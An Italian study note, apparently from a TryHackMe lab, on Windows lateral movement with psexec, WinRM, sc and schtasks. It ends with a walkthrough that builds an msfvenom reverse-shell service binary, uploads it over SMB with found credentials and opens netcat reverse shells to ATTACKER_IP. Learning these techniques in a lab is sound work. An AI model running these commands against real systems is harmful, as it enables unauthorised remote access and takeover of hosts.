tags: Active_Directory Lateral_Movement windows
Psexec
Psexec è da anni il metodo di riferimento per l’esecuzione di processi da remoto. Consente a un utente amministratore di eseguire comandi da remoto su qualsiasi PC a cui abbia accesso. Psexec è uno dei tanti strumenti di Sysinternals e può essere scaricato qui.
- Ports: 445/TCP (SMB)
- Required Group Memberships: Administrators
Per eseguire psexec, dobbiamo solo fornire le credenziali di amministratore richieste per l’host remoto e il comando che vogliamo eseguire:
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exeWinRM
Windows Remote Management (WinRM) è un protocollo basato sul Web utilizzato per inviare comandi Powershell agli host Windows in remoto. La maggior parte delle installazioni di Windows Server ha WinRM abilitato per impostazione predefinita, il che lo rende un interessante vettore di attacco.
- Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- Required Group Memberships: Remote Management Users
Per connetterci a una sessione remota di Powershell dalla riga di comando, possiamo utilizzare il seguente comando:
winrs.exe -u:Administrator -p:Mypass123 -r:target cmdPossiamo ottenere lo stesso risultato da Powershell, ma per passare credenziali diverse, dovremo creare un oggetto PSCredential:
username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Una volta ottenuto l’oggetto PSCredential, possiamo creare una sessione interattiva utilizzando il cmdlet Enter-PSSession:
Enter-PSSession -Computername TARGET -Credential $credentialPowerShell include anche il cmdlet Invoke-Command, che esegue ScriptBlocks in remoto tramite WinRM. Anche le credenziali devono essere passate tramite un oggetto PSCredential:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}SC
I servizi Windows possono anche essere sfruttati per eseguire comandi arbitrari, poiché eseguono un comando all’avvio. Sebbene un eseguibile di servizio sia tecnicamente diverso da una normale applicazione, se configuriamo un servizio Windows per eseguire un’applicazione qualsiasi, la eseguirà comunque e non funzionerà correttamente.
- Ports:
- 135/TCP, 49152-65535/TCP (DCE/RPC)
- 445/TCP (RPC over SMB Named Pipes)
- 139/TCP (RPC over SMB Named Pipes)
- Required Group Memberships: Administrators
Possiamo creare e avviare un servizio denominato “THMservice” utilizzando i seguenti comandi:
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMserviceIl comando “net user” verrà eseguito all’avvio del servizio, creando un nuovo utente locale sul sistema. Poiché l’avvio del servizio è gestito dal sistema operativo, non sarà possibile visualizzare l’output del comando.
Per arrestare ed eliminare il servizio, possiamo quindi eseguire i seguenti comandi:
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMserviceUn’altra funzionalità di Windows che possiamo utilizzare sono le Attività Pianificate. È possibile crearne ed eseguirne una in remoto con schtasks, disponibile in qualsiasi installazione di Windows. Per creare un’attività denominata THMtask1, possiamo utilizzare i seguenti comandi:
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1" Impostiamo il tipo di pianificazione (/sc) su ONCE, il che significa che l’attività verrà eseguita una sola volta all’ora e alla data specificate. Dato che eseguiremo l’attività manualmente, la data di inizio (/sd) e l’ora di inizio (/st) non saranno comunque molto importanti.
Poiché il sistema eseguirà l’attività pianificata, l’output del comando non sarà disponibile, rendendolo un attacco cieco.
Infine, per eliminare l’attività pianificata, possiamo usare il seguente comando e ripulire il tutto:
schtasks /S TARGET /TN "THMtask1" /DELETE /FEsempio
Poniamo di aver trovato le credenziali con accesso amministrativo:
User: ZA.TRYHACKME.COM\t1_leonard.summers
Password: EZpass4ever
Sebbene abbiamo già mostrato come usare sc per creare un utente su un sistema remoto (utilizzando net user), possiamo anche caricare qualsiasi binario che desideriamo eseguire e associarlo al servizio creato. Tuttavia, se proviamo a eseguire una reverse shell con questo metodo, noteremo che la reverse shell si disconnette immediatamente dopo l’esecuzione. Il motivo è che gli eseguibili di servizio sono diversi dai file .exe standard, e quindi gli eseguibili non di servizio finiranno per essere terminati dal gestore del servizio quasi immediatamente. Fortunatamente, msfvenom supporta il formato exe-service, che incapsulerà qualsiasi payload desiderato all’interno di un eseguibile di servizio completamente funzionante, impedendone la terminazione.
Per creare la reverse shell possiamo utilizzare il seguente comando:
user@AttackBox$ msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o myservice.exeOra tramite SMBClient lo carichiamo sulla macchina vittima:
user@AttackBox$ smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever Una volta caricato il nostro eseguibile, configureremo un listener sul computer dell’attaccante per ricevere la shell inversa da msfconsole:
user@AttackBox$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.10.16:4444Poiché sc.exe non ci consente di specificare le credenziali come parte del comando, dobbiamo usare runas per generare una nuova shell con il token di accesso di t1_leonard.summer. Tuttavia, abbiamo solo accesso SSH alla macchina, quindi se provassimo qualcosa come runas /netonly /user:ZA\t1_leonard.summers cmd.exe, il nuovo prompt dei comandi verrebbe generato sulla sessione dell’utente, ma non avremmo accesso ad esso. Per superare questo problema, possiamo usare runas per generare una seconda reverse shell con il token di accesso di t1_leonard.summers:
C:\> runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"Nota: ricorda che, poiché stai utilizzando runas con l’opzione /netonly, non verrà verificato se le credenziali fornite sono valide , quindi assicurati di digitare la password correttamente. In caso contrario, più avanti nella room verranno visualizzati alcuni errori di ACCESSO NEGATO.
Possiamo ricevere la connessione reverse shell utilizzando nc nella nostra macchin come al solito:
nc -lvnp 4443E infine, procediamo a creare un nuovo servizio in remoto utilizzando sc, associandolo al nostro binario caricato:
C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto
C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-3249